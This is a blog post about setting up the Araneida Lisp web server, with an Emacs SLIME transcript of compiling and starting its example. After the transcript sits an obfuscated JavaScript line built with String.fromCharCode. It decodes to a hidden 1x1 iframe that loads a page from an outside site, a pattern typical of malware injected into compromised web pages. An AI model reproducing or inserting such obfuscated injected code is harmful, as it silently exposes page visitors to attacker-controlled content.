Araneida

I tried to get this lisp web server running a few days ago but to no avail. However, it seems I’m currently “in the zone” because after getting Apache up and running earlier I now managed to also get Araneida to run (relatively easy it was). Again, thanks to a little help from google and another newbie discussing the same problem here.

Here’s my full Emacs transcript, after this I was able to go to http://localhost:8000/hello to run the example (using 127.0.0.1 did not work):

[lisp]; SLIME 2005-04-27
CL-USER> (asdf:operate ‘asdf:load-op ‘araneida)
; loading system definition from /home/bas/.sbcl/systems/araneida.asd into
; # ; registering # as ARANEIDA
; loading system definition from /home/bas/.sbcl/systems/split-sequence.asd
; into # ; registering # as SPLIT-SEQUENCE
; loading system definition from /home/bas/.sbcl/systems/net-telent-date.asd
; into # ; registering # as NET-TELENT-DATE
NIL
CL-USER> (compile-file “~bas/araneida-version-0.90.1/doc/example.lisp”)
; Evaluation aborted
CL-USER> (compile-file “/usr/home/bas/araneida-version-0.90.1/doc/example.lisp”)
; compiling file “/usr/home/bas/araneida-version-0.90.1/doc/example.lisp” (written 02 DEC 2005 05:51:58 PM):
; compiling (DEFPACKAGE “MY-ARANEIDA-EXAMPLE” …)
; compiling (IN-PACKAGE :MY-ARANEIDA-EXAMPLE)
; compiling (DEFUN MY-FQDN …)
; compiling (DEFVAR *DEMO-URL* …)
; compiling (DEFVAR *LISTENER* …)
; compiling (DEFCLASS HELLO-HANDLER …)
; compiling (DEFCLASS RESET-HANDLER …)
; compiling (DEFMETHOD HANDLE-REQUEST-RESPONSE …)
; compiling (DEFMETHOD HANDLE-REQUEST-RESPONSE …)
; compiling (LET (#) …)
; compiling (LET* (#) …)

; /usr/home/bas/araneida-version-0.90.1/doc/example.fasl written
; compilation finished in 0:00:00
#P”/usr/home/bas/araneida-version-0.90.1/doc/example.fasl”
NIL
NIL
CL-USER> (load “/usr/home/bas/araneida-version-0.90.1/doc/example.fasl”)
T
CL-USER> (in-package :my-araneida-example)
# MY-ARANEIDA-EXAMPLE> (start-listening *listener*)
#>
MY-ARANEIDA-EXAMPLE>[/lisp]

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment